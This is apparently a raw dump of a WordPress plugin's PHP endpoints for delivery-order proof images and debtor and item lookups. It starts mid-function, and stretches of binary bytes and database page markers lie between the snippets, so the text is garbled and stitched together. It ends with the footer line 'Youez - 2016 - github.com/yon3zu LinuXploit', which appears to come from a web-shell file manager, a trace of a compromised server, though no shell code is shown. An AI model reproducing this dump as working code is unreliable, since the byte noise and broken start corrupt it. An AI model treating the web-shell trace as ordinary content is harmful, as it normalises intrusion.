            'doc_no'        => $doc_no,
            'doc_key'       => $doc_key ?: null,
            'proof_type'    => $proof_type,
            'attachment_id' => $attachment_id,
            'image_url'     => $image_url,
            'image_path'    => $image_path,
            'mime_type'     => $mime_type,
            'file_size'     => $file_size,
            'captured_by'   => $user_id,
            'captured_at'   => $now,
            'created_at'    => $now,
        ),
        array(
            '%d',
            '%s',
            '%d',
            '%s',
            '%d',
            '%s',
            '%s',
            '%s',
            '%d',
            '%d',
            '%s',
            '%s',
        )
    );

    if (!$inserted) {
        wp_delete_attachment($attachment_id, true);

        return new WP_Error(
            'proof_insert_failed',
            'Image uploaded but failed to save proof record.',
            array('status' => 500)
        );
    }

    /**
     * Mark DO/job as delivered.
     */
    $wpdb->update(
        $jobs_table,
        array(
            'delivery_status'       => 'COMPLETED',
            'delivery_completed_by' => $user_id,
            'delivery_completed_at' => $now,
            'delivery_note'         => 'Completed with proof of delivery',
            'updated_at'            => $now,
        ),
        array(
            'id' => $job_id,
        ),
        array(
            '%s',
            '%d',
            '%s',
            '%s',
            '%s',
        ),
        array(
            '%d',
        )
    );

    return rest_ensure_response(array(
        'success'       => true,
        'message'       => 'Order ' . $doc_no . ' Delivered.',
        'proof_id'      => $wpdb->insert_id,
        'job_id'        => $job_id,
        'doc_no'        => $doc_no,
        'doc_key'       => $doc_key,
        'attachment_id' => $attachment_id,
        'image_url'     => $image_url,
        'mime_type'     => $mime_type,
        'file_size'     => $file_size,
        'captured_at'   => $now,
    ));
}global��
�����"�pc�KN�
�d	�����%�E�5^���!infimumsupremum�����DO Delivery Complete Endpointadd_action('rest_api_init', function () {
    register_rest_route('ac/v1', '/do-delivery-complete', array(
        'methods'             => 'POST',
        'callback'            => 'ac_do_mark_delivery_complete',
        'permission_callback' => function () {
            return is_user_logged_in();
        },
    ));
});

function ac_do_mark_delivery_complete(WP_REST_Request $request) {
    global $wpdb;

    $jobs_table  = $wpdb->prefix . 'ac_jobs';
    $proof_table = $wpdb->prefix . 'ac_do_proof_images';

    $user_id  = get_current_user_id();
    $job_id   = absint($request->get_param('job_id'));
    $doc_no   = sanitize_text_field($request->get_param('doc_no'));
    $doc_key  = absint($request->get_param('doc_key'));
    $proof_id = absint($request->get_param('proof_id'));
    $note     = sanitize_textarea_field($request->get_param('delivery_note'));

    if (!$job_id) {
        return new WP_Error('missing_job_id', 'Missing job_id.', array('status' => 400));
    }

    $job = $wpdb->get_row($wpdb->prepare("
        SELECT id, created_by, job_type, status, delivery_status
        FROM {$jobs_table}
        WHERE id = %d
        LIMIT 1
    ", $job_id));

    if (!$job) {
        return new WP_Error('job_not_found', 'Delivery Order job not found.', array('status' => 404));
    }

    if (strtoupper($job->job_type) !== 'DELIVERY_ORDER') {
        return new WP_Error('invalid_job_type', 'This job is not a Delivery Order.', array('status' => 400));
    }

    if ((int) $job->created_by !== (int) $user_id && !current_user_can('manage_options')) {
        return new WP_Error('forbidden', 'You cannot complete another driver\'s Delivery Order.', array('status' => 403));
    }

    if ($proof_id) {
        $proof = $wpdb->get_row($wpdb->prepare("
            SELECT id, job_id, captured_by, image_url
            FROM {$proof_table}
            WHERE id = %d
            AND job_id = %d
            AND deleted_at IS NULL
            LIMIT 1
        ", $proof_id, $job_id));
    } else {
        $proof = $wpdb->get_row($wpdb->prepare("
            SELECT id, job_id, captured_by, image_url
            FROM {$proof_table}
            WHERE job_id = %d
            AND deleted_at IS NULL
            ORDER BY id DESC
            LIMIT 1
        ", $job_id));
    }

    if (!$proof) {
        return new WP_Error('proof_not_found', 'Proof image not found for this Delivery Order.', array('status' => 400));
    }

    $now = current_time('mysql');

    $updated = $wpdb->update(
        $jobs_table,
        array(
            'delivery_status'       => 'COMPLETED',
            'delivery_completed_by' => $user_id,
            'delivery_completed_at' => $now,
            'delivery_note'         => $note,
            'updated_at'            => $now,
        ),
        array(
            'id' => $job_id,
        ),
        array(
            '%s',
            '%d',
            '%s',
            '%s',
            '%s',
        ),
        array(
            '%d',
        )
    );

    if ($updated === false) {
        return new WP_Error('update_failed', $wpdb->last_error ?: 'Failed to update delivery status.', array('status' => 500));
    }

    return rest_ensure_response(array(
        'success'                 => true,
        'message'                 => 'Delivery marked complete.',
        'job_id'                  => $job_id,
        'doc_no'                  => $doc_no,
        'doc_key'                 => $doc_key,
        'proof_id'                => (int) $proof->id,
        'proof_image_url'         => $proof->image_url,
        'delivery_status'         => 'COMPLETED',
        'delivery_completed_by'   => $user_id,
        'delivery_completed_at'   => $now,
    ));
}global��
����Jрpc�%���E���������+�2G
52�����/**
 * AJAX for Delivery Order / Cash Sale lookup
 * Uses existing project connection: get_mssql()
 *
 * Changes:
 * - Debtor search: only IsActive = 'T'
 * - Item search: only IsActive = 'T'
 * - Item search returns ItemUOM.Price for create forms that need default pricing
 * - Added SQL query timeout to prevent long hanging searches
 * - Basket proof image lookup is optional and never blocks receipt display
 */

if (!defined('ABSPATH')) {
    exit;
}

if (!function_exists('ac_ajax_get_conn')) {
    function ac_ajax_get_conn() {
        // get_mssql() is supplied by the existing AutoCount/WordPress bridge.
        // Keep this helper small so every AJAX endpoint fails consistently if
        // the bridge connection is missing or unavailable.
        if (!function_exists('get_mssql')) {
            return new WP_Error('missing_get_mssql', 'Function get_mssql() not found.');
        }

        $conn = get_mssql();

        if (!$conn) {
            return new WP_Error('mssql_connection_failed', 'get_mssql() returned empty connection.');
        }

        return $conn;
    }
}

if (!function_exists('ac_ajax_sql_options')) {
    function ac_ajax_sql_options() {
        // These endpoints run while staff are typing in picker modals. A long
        // SQL Server wait makes the UI feel frozen, so every lookup uses the
        // same short timeout.
        return array(
            'QueryTimeout' => 8,
        );
    }
}

if (!function_exists('ac_ajax_current_user_can_staff_lookup')) {
    function ac_ajax_current_user_can_staff_lookup() {
        if (!is_user_logged_in()) {
            return false;
        }

        $user = wp_get_current_user();
        $roles = is_array($user->roles ?? null) ? $user->roles : array();

        return current_user_can('manage_options') || in_array('editor', $roles, true);
    }
}

if (!function_exists('ac_ajax_current_user_can_debtor_lookup')) {
    function ac_ajax_current_user_can_debtor_lookup() {
        if (ac_ajax_current_user_can_staff_lookup()) {
            return true;
        }

        if (!is_user_logged_in()) {
            return false;
        }

        $user = wp_get_current_user();
        $roles = is_array($user->roles ?? null) ? $user->roles : array();

        return in_array('driver', $roles, true);
    }
}

if (!function_exists('ac_ajax_clean_ymd')) {
    function ac_ajax_clean_ymd($value) {
        $value = trim((string) $value);

        if (preg_match('/^\d{4}-\d{2}-\d{2}/', $value, $m)) {
            return $m[0];
        }

        return '';
    }
}

add_action('wp_ajax_ac_cs_debtor_search', 'ac_cs_debtor_search_ajax');

function ac_cs_debtor_search_ajax() {
    // WordPress AJAX nonce name must match wp_create_nonce('ac_cs_debtor_search')
    // in DOcreate-staff-workflow.php.
    if (!ac_ajax_current_user_can_debtor_lookup()) {
        wp_send_json_error(array('error' => 'Unauthorized.'), 403);
    }

    check_ajax_referer('ac_cs_debtor_search', 'nonce');

    $q = trim(wp_unslash($_POST['q'] ?? $_GET['q'] ?? ''));

    if ($q === '') {
        wp_send_json_success(array('items' => array()));
    }

    $conn = ac_ajax_get_conn();

    if (is_wp_error($conn)) {
        wp_send_json_error(array('error' => $conn->get_error_message()), 500);
    }

    // Search supports both "contains" matching and "starts with" ordering.
    // AccNo starts-with results appear first because staff often know the code.
    $like   = '%' . $q . '%';
    $starts = $q . '%';

    $sql = "
        SELECT TOP 20
            AccNo,
            CompanyName,
            SalesAgent
        FROM Debtor
        WHERE
            -- Never show inactive debtors in the page picker; selecting one
            -- would fail later when creating the delivery order.
            IsActive = 'T'
            AND (
                AccNo LIKE ?
                OR CompanyName LIKE ?
            )
        ORDER BY
            CASE WHEN AccNo LIKE ? THEN 0 ELSE 1 END,
            CompanyName ASC,
            AccNo ASC
    ";

    $params = array($like, $like, $starts);
    $stmt = sqlsrv_query($conn, $sql, $params, ac_ajax_sql_options());

    if ($stmt === false) {
        $errors = sqlsrv_errors(SQLSRV_ERR_ERRORS);
        $msg = 'Debtor search query failed.';

        if (!empty($errors[0]['message'])) {
            $msg .= ' ' . $errors[0]['message'];
        }

        error_log('[ac_cs_debtor_search] ' . $msg);
        wp_send_json_error(array('error' => $msg), 500);
    }

    $items = array();

    while ($row = sqlsrv_fetch_array($stmt, SQLSRV_FETCH_ASSOC)) {
        $code = trim((string)($row['AccNo'] ?? ''));
        $name = trim((string)($row['CompanyName'] ?? ''));

        if ($code === '' && $name === '') {
            continue;
        }

        $items[] = array(
            'code'       => $code,
            'name'       => $name,
            'salesAgent' => trim((string)($row['SalesAgent'] ?? '')),
        );
    }

    sqlsrv_free_stmt($stmt);

    wp_send_json_success(array(
        'items' => $items,
    ));
}

add_action('wp_ajax_ac_itemcode_suggest', 'ac_itemcode_suggest_ajax');

function ac_itemcode_suggest_ajax() {
    // WordPress AJAX nonce name must match wp_create_nonce('ac_itemcode_suggest')
    // in DOcreate-staff-workflow.php.
    if (!ac_ajax_current_user_can_staff_lookup()) {
        wp_send_json_error(array('error' => 'Unauthorized.'), 403);
    }

    check_ajax_referer('ac_itemcode_suggest', 'nonce');

    $term = trim(wp_unslash($_POST['term'] ?? $_GET['term'] ?? ''));

    if ($term === '') {
        wp_send_json_success(array('items' => array()));
    }

    $conn = ac_ajax_get_conn();

    if (is_wp_error($conn)) {
        wp_send_json_error(array('error' => $conn->get_error_message()), 500);
    }

    // Search by ItemCode, Description, and Desc2. ItemCode starts-with results
    // are ranked first because short produce/item codes are common in staff use.
    $like   = '%' . $term . '%';
    $starts = $term . '%';

    $sql = "
        SELECT TOP 20
            i.ItemCode,
            i.Description,
            ISNULL(i.Desc2, '') AS Description2,
            i.BaseUOM,
            -- Price is read from ItemUOM as a default for create forms. The
            -- Delivery Order edit page does not expose client-side price edits.
            ISNULL(iu.Price, 0) AS Price
        FROM Item i
        -- Match ItemUOM by the item's BaseUOM so the picker gets the normal
        -- default price for the same UOM shown on the item.
        LEFT JOIN ItemUOM iu
            ON iu.ItemCode = i.ItemCode
            AND iu.UOM = i.BaseUOM
        WHERE
            -- Keep inactive items out of the picker; the bridge rejects them
            -- later and staff would only see a confusing save failure.
            i.IsActive = 'T'
            AND (
                i.ItemCode LIKE ?
                OR i.Description LIKE ?
                OR ISNULL(i.Desc2, '') LIKE ?
            )
        ORDER BY
            CASE WHEN i.ItemCode LIKE ? THEN 0 ELSE 1 END,
            i.Description ASC,
            i.ItemCode ASC
    ";

    $params = array($like, $like, $like, $starts);
    $stmt = sqlsrv_query($conn, $sql, $params, ac_ajax_sql_options());

    if ($stmt === false) {
        $errors = sqlsrv_errors(SQLSRV_ERR_ERRORS);
        $msg = 'Item search query failed.';

        if (!empty($errors[0]['message'])) {
            $msg .= ' ' . $errors[0]['message'];
        }

        error_log('[ac_itemcode_suggest] ' . $msg);
        wp_send_json_error(array('error' => $msg), 500);
    }

    $items = array();

    while ($row = sqlsrv_fetch_array($stmt, SQLSRV_FETCH_ASSOC)) {
        $code = trim((string)($row['ItemCode'] ?? ''));
        $desc = trim((string)($row['Description'] ?? ''));

        if ($code === '' && $desc === '') {
            continue;
        }

        // Keep the JSON keys stable for JavaScript pickers.
        $items[] = array(
            'code'  => $code,
            'desc'  => $desc,
            'desc2' => trim((string)($row['Description2'] ?? '')),
            'uom'   => trim((string)($row['BaseUOM'] ?? '')),
            'price' => (float)($row['Price'] ?? 0),
        );
    }

    sqlsrv_free_stmt($stmt);

    wp_send_json_success(array(
        'items' => $items,
    ));
}

add_action('wp_ajax_ac_bs_get_basket_proof', 'ac_bs_get_basket_return_proof_ajax');

function ac_bs_get_basket_return_proof_ajax() {
    // This endpoint is intentionally "best effort." Receipt display should not
    // fail just because an optional basket return photo cannot be found.
    if (!ac_ajax_current_user_can_staff_lookup()) {
        wp_send_json_error(array('error' => 'Unauthorized.'), 403);
    }

    check_ajax_referer('ac_bs_basket_proof', 'nonce');

    global $wpdb;

    if (!$wpdb) {
        // Return success with found=false so the front-end can continue without
        // treating missing proof storage as a hard receipt error.
        wp_send_json_success(array(
            'imageUrl' => '',
            'found'    => false,
            'reason'   => 'WordPress database connection not available.',
        ));
    }

    $ledgerId   = isset($_POST['ledgerId']) ? intval($_POST['ledgerId']) : 0;
    $sourceRef  = isset($_POST['sourceRef']) ? trim(sanitize_text_field(wp_unslash($_POST['sourceRef']))) : '';
    $debtorCode = isset($_POST['debtorCode']) ? trim(sanitize_text_field(wp_unslash($_POST['debtorCode']))) : '';
    $debtorName = isset($_POST['debtorName']) ? trim(sanitize_text_field(wp_unslash($_POST['debtorName']))) : '';
    $txnDate    = isset($_POST['txnDate']) ? ac_ajax_clean_ymd(wp_unslash($_POST['txnDate'])) : '';

    $table = $wpdb->prefix . 'ac_basket_return_proof_images';

    $table_exists = $wpdb->get_var(
        $wpdb->prepare('SHOW TABLES LIKE %s', $table)
    );

    if ($table_exists !== $table) {
        // Some deployments may not have proof-image capture enabled yet.
        wp_send_json_success(array(
            'imageUrl' => '',
            'found'    => false,
            'reason'   => 'Basket return proof table not found.',
        ));
    }

    $where = array();
    $args  = array();

    // Build several lookup paths because older records may have only ledger ID,
    // source ref, debtor/date, or debtor name/date depending on when the proof
    // was captured.
    if ($ledgerId > 0) {
        $where[] = 'ledger_id = %d';
        $args[]  = $ledgerId;
    }

    if ($sourceRef !== '') {
        $where[] = 'source_ref = %s';
        $args[]  = $sourceRef;
    }

    if ($debtorCode !== '' && $txnDate !== '') {
        $where[] = '(debtor_code = %s AND DATE(captured_at) = %s)';
        $args[]  = $debtorCode;
        $args[]  = $txnDate;
    }

    if ($debtorName !== '' && $txnDate !== '') {
        $where[] = '(debtor_name = %s AND DATE(captured_at) = %s)';
        $args[]  = $debtorName;
        $args[]  = $txnDate;
    }

    if (empty($where)) {
        wp_send_json_success(array(
            'imageUrl' => '',
            'found'    => false,
            'reason'   => 'No lookup value received.',
        ));
    }

    $sql = "
        SELECT
            image_url,
            image_path,
            attachment_id
        FROM `{$table}`
        WHERE (" . implode(' OR ', $where) . ")
          AND deleted_at IS NULL
        ORDER BY id DESC
        LIMIT 1
    ";

    $prepared_sql = $wpdb->prepare($sql, $args);
    $row = $wpdb->get_row($prepared_sql, ARRAY_A);

    if (!is_array($row)) {
        wp_send_json_success(array(
            'imageUrl' => '',
            'found'    => false,
            'reason'   => 'No proof image found.',
        ));
    }

    $imageUrl = '';

    if (!empty($row['image_url'])) {
        $imageUrl = trim((string) $row['image_url']);
    }

    if ($imageUrl === '' && !empty($row['attachment_id'])) {
        $attachmentUrl = wp_get_attachment_url((int) $row['attachment_id']);

        if ($attachmentUrl) {
            $imageUrl = $attachmentUrl;
        }
    }

    if ($imageUrl === '' && !empty($row['image_path'])) {
        // Older rows may store a filesystem path instead of a public URL. If
        // the path is inside WordPress uploads, convert it back to baseurl.
        $path   = trim((string) $row['image_path']);
        $upload = wp_upload_dir();

        if (!empty($upload['basedir']) && !empty($upload['baseurl'])) {
            $normalBase = wp_normalize_path($upload['basedir']);
            $normalPath = wp_normalize_path($path);

            if (strpos($normalPath, $normalBase) === 0) {
                $imageUrl = str_replace($normalBase, $upload['baseurl'], $normalPath);
            }
        }

        if ($imageUrl === '' && strpos($path, '/') === 0) {
            $imageUrl = home_url($path);
        }
    }

    wp_send_json_success(array(
        'imageUrl' => $imageUrl ? esc_url_raw($imageUrl) : '',
        'found'    => $imageUrl !== '',
    ));
}+�2G�NR�

Youez - 2016 - github.com/yon3zu
LinuXploit